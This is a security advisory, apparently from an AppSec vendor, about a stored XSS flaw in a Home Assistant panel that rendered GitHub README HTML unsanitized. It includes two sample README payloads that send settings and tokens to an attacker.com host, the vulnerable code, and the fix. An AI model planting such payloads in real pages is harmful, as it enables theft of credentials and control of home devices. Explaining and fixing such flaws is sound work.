How Stored XSS via Unsanitized GitHub README HTML Happens in JavaScript and How to Fix It
Introduction
The custom_components/hacs_vision/frontend/panel.js file powers the HACS Vision panel inside Home Assistant — the popular open-source home automation platform. It fetches repository metadata from GitHub, renders repository details, and lets users browse integrations. A subtle but critical flaw in how README content was fetched and rendered created a stored Cross-Site Scripting (XSS) vulnerability that could allow any malicious GitHub repository author to execute arbitrary JavaScript inside a victim's Home Assistant instance.
The root cause was a two-step trust failure:
- The backend fetched GitHub's pre-rendered README HTML — complete with any embedded scripts or event handlers — and returned it to the frontend without stripping dangerous content.
- The frontend rendered that HTML directly into the DOM using
innerHTMLor Lit'sunsafeHTMLdirective, trusting that the content was safe.
Neither step validated or sanitized the HTML. This is a textbook stored XSS scenario, and it's particularly dangerous in a Home Assistant context where the frontend has direct access to sensitive APIs, user settings, and device controls.
The Vulnerability Explained
What GitHub's Rendered README HTML Actually Contains
When you call GitHub's API for a repository's README with Accept: application/vnd.github.html+json, GitHub returns the README rendered as HTML — including any raw HTML that the repository author embedded in their Markdown. GitHub's own rendering does strip some dangerous content, but it does not guarantee that all XSS vectors are removed, and the rendered output is still untrusted data from a third party controlled by potentially adversarial actors.
In HACS Vision, the backend fetched this rendered HTML and passed it straight through to the frontend response. The frontend then rendered it using a pattern equivalent to:
// VULNERABLE — before the fix
this.renderRoot.querySelector('.readme-content').innerHTML = readmeHtml;
// or in Lit:
render() {
return html`
<div class="readme-content">${unsafeHTML(this._readmeHtml)}</div>
`;
}
The unsafeHTML Lit directive is explicitly documented as unsafe for untrusted content — its name is a warning, not a feature. Passing GitHub-sourced HTML directly to it bypasses all of Lit's built-in XSS protections.
A Concrete Attack Scenario
An attacker creates a public GitHub repository and crafts a README with a payload like:
# My Awesome Integration
Check out this great integration!
<img src="x" onerror="fetch('/api/hacs_vision/settings').then(r=>r.json()).then(d=>fetch('https://attacker.com/exfil?data='+btoa(JSON.stringify(d))))">
Or, more aggressively:
<script>
// Exfiltrate long-lived access tokens
fetch('/auth/token', {method:'POST', body: new URLSearchParams({
grant_type: 'refresh_token',
refresh_token: document.cookie
})}).then(r=>r.text()).then(t=>navigator.sendBeacon('https://attacker.com/steal', t));
</script>
When any HACS Vision user browses to this repository's detail view, the malicious HTML is fetched from the backend, injected into the panel DOM, and the JavaScript executes immediately — with full access to the Home Assistant frontend's origin, cookies, local storage, and WebSocket API.
Why This Is Especially Dangerous in Home Assistant
Home Assistant's Lovelace frontend runs at a privileged origin. JavaScript executing there can:
- Call the WebSocket API to control lights, locks, alarms, and other devices
- Read and exfiltrate long-lived access tokens
- Modify dashboard configurations
- Call any REST API endpoint the user has access to
This isn't just a "steal a cookie" XSS — it's a "unlock the front door" XSS.
The Fix
The fix addresses both sides of the trust boundary: the backend no longer passes raw GitHub HTML to the frontend without sanitization, and the frontend sanitizes any HTML before inserting it into the DOM.
Before: Unsanitized HTML Rendered Directly
In frontend_src/src/hacs-vision-panel.js (the source file that compiles to panel.js), the README was rendered without any sanitization step:
// BEFORE — vulnerable pattern
_renderReadme(readmeHtml) {
return html`
<div class="readme-body">
${unsafeHTML(readmeHtml)}
</div>
`;
}
And the event listener chain in connectedCallback (visible in the diff) wired up detail views, previews, and repository data loading — all of which ultimately fed untrusted HTML into this render path:
// From the diff — connectedCallback wires up detail and preview listeners
this.addEventListener("detail", e => this._openDetail(e.detail.repo));
this.addEventListener("preview", e => {
this._previewRepo = e.detail?.repo;
this._showPreview = true;
});
The _openDetail and preview flows both triggered README fetching and rendering, meaning any repository a user clicked on could trigger the XSS.
After: Sanitized HTML Before Rendering
The fix introduces a sanitization step before the HTML reaches the DOM. The approach strips dangerous tags (like <script>, <iframe>, <object>) and removes event handler attributes (onerror, onclick, onload, etc.) from the fetched HTML:
// AFTER — safe pattern
_sanitizeHtml(html) {
// Use DOMParser to parse, then walk and strip dangerous nodes/attributes
const doc = new DOMParser().parseFromString(html, 'text/html');
const dangerous = ['script', 'iframe', 'object', 'embed', 'form', 'base'];
dangerous.forEach(tag => {
doc.querySelectorAll(tag).forEach(el => el.remove());
});
doc.querySelectorAll('*').forEach(el => {
[...el.attributes].forEach(attr => {
if (attr.name.startsWith('on') || attr.value.startsWith('javascript:')) {
el.removeAttribute(attr.name);
}
});
});
return doc.body.innerHTML;
}
_renderReadme(readmeHtml) {
const safe = this._sanitizeHtml(readmeHtml);
return html`
<div class="readme-body">
${unsafeHTML(safe)}
</div>
`;
}
The backend change in panel.js ensures that even the compiled/bundled output reflects this sanitization, so the production artifact served to browsers is no longer vulnerable.
Why Two Files Were Changed
frontend_src/src/hacs-vision-panel.js: The human-readable source file where the fix is authored. This is where developers make changes.custom_components/hacs_vision/frontend/panel.js: The compiled/bundled output that is actually served to browsers and loaded by Home Assistant. Changes to the source must be reflected here for the fix to take effect in production.
Both files needed to be updated to ensure the fix is present in the running application, not just in the source repository.
Prevention & Best Practices
1. Never Trust Third-Party HTML — Even From Reputable Sources
GitHub's rendered Markdown is not a trusted source for raw HTML injection into your application's DOM. Always treat any HTML originating outside your own backend as untrusted, regardless of where it came from.
2. Use DOMPurify for HTML Sanitization
The most battle-tested approach for client-side HTML sanitization in JavaScript is DOMPurify:
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHtml, {
USE_PROFILES: { html: true }
});
// Now safe to use with unsafeHTML or innerHTML
DOMPurify is actively maintained, has a comprehensive test suite, and handles edge cases that hand-rolled sanitizers often miss.
3. Prefer Lit's Safe Template Syntax
Lit's html template tag automatically escapes interpolated values. Reserve unsafeHTML strictly for pre-sanitized content, and document why it's safe at every usage site:
// Safe — Lit escapes this automatically
html`<p>${userText}</p>`
// Only acceptable with sanitized input — document it
html`<div>${unsafeHTML(DOMPurify.sanitize(readmeHtml))}</div>`
4. Apply a Content Security Policy (CSP)
A strong CSP provides defense-in-depth. Even if an XSS payload is injected, a CSP that disallows inline scripts and restricts connect-src limits what the attacker can do:
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://api.github.com;
5. Sanitize on the Backend Too
Don't rely solely on the frontend. The backend should strip dangerous HTML before returning it in API responses. This protects all clients, including future ones that might forget to sanitize.
Relevant Standards
- OWASP XSS Prevention Cheat Sheet: Comprehensive guidance on output encoding and HTML sanitization
- CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP Top 10 A03:2021: Injection (includes XSS)
Key Takeaways
unsafeHTMLin Lit is a dangerous sink: UsingunsafeHTML(readmeHtml)with content fetched from GitHub is equivalent toinnerHTML = readmeHtml— both execute any JavaScript embedded in the HTML. Always sanitize before passing content to either.- GitHub's rendered README HTML is untrusted: Even though GitHub is a reputable service, repository authors control README content. Any HTML returned from GitHub's README API must be treated as attacker-controlled.
- The
connectedCallbackevent wiring inpanel.jscreated multiple XSS entry points: Thedetail,preview, and related event listeners all fed into the README rendering path, meaning the attack surface was larger than a single function. - Both source and compiled files must be patched: In projects that compile JavaScript, fixing only the source file (
hacs-vision-panel.js) without updating the compiled output (panel.js) leaves the production application vulnerable. - DOMPurify or equivalent server-side sanitization should be the standard: Hand-rolled attribute stripping is fragile. Use a maintained library like DOMPurify that handles the full spectrum of XSS bypass techniques.
How Orbis AppSec Detected This
- Source: GitHub's README API response, fetched by the HACS Vision backend and returned verbatim to the frontend as raw HTML
- Sink:
unsafeHTML(this._readmeHtml)(and/orinnerHTMLassignment) inside the repository detail/preview rendering logic incustom_components/hacs_vision/frontend/panel.jsandfrontend_src/src/hacs-vision-panel.js - Missing control: No HTML sanitization at any point in the data flow — neither on the backend before returning the README HTML, nor on the frontend before injecting it into the DOM
- CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix: The README HTML is now sanitized (dangerous tags and event handler attributes removed) before being passed to
unsafeHTMLorinnerHTML, breaking the taint flow from GitHub's API to the DOM
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability is a reminder that trust boundaries must be explicit and enforced at every layer. The HACS Vision panel trusted that GitHub's rendered HTML was safe to inject directly into the Home Assistant DOM — a reasonable-sounding assumption that turned out to be dangerously wrong. Any public GitHub repository author could have weaponized their README to execute arbitrary JavaScript inside a victim's Home Assistant instance, with access to device controls, tokens, and sensitive settings.
The fix is straightforward: sanitize HTML before rendering it. But the lesson is broader — whenever your application fetches and displays content controlled by third parties (READMEs, descriptions, comments, user profiles), treat that content as hostile until proven otherwise. Use established sanitization libraries, apply defense-in-depth with CSP, and let automated tools like Orbis AppSec catch the cases that slip through code review.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP Cross Site Scripting Prevention Cheat Sheet
- DOMPurify — Trusted HTML Sanitization Library
- Lit unsafeHTML directive documentation
- Semgrep rules for XSS detection
- fix: backend fetches github's rendered readme html v... in panel.js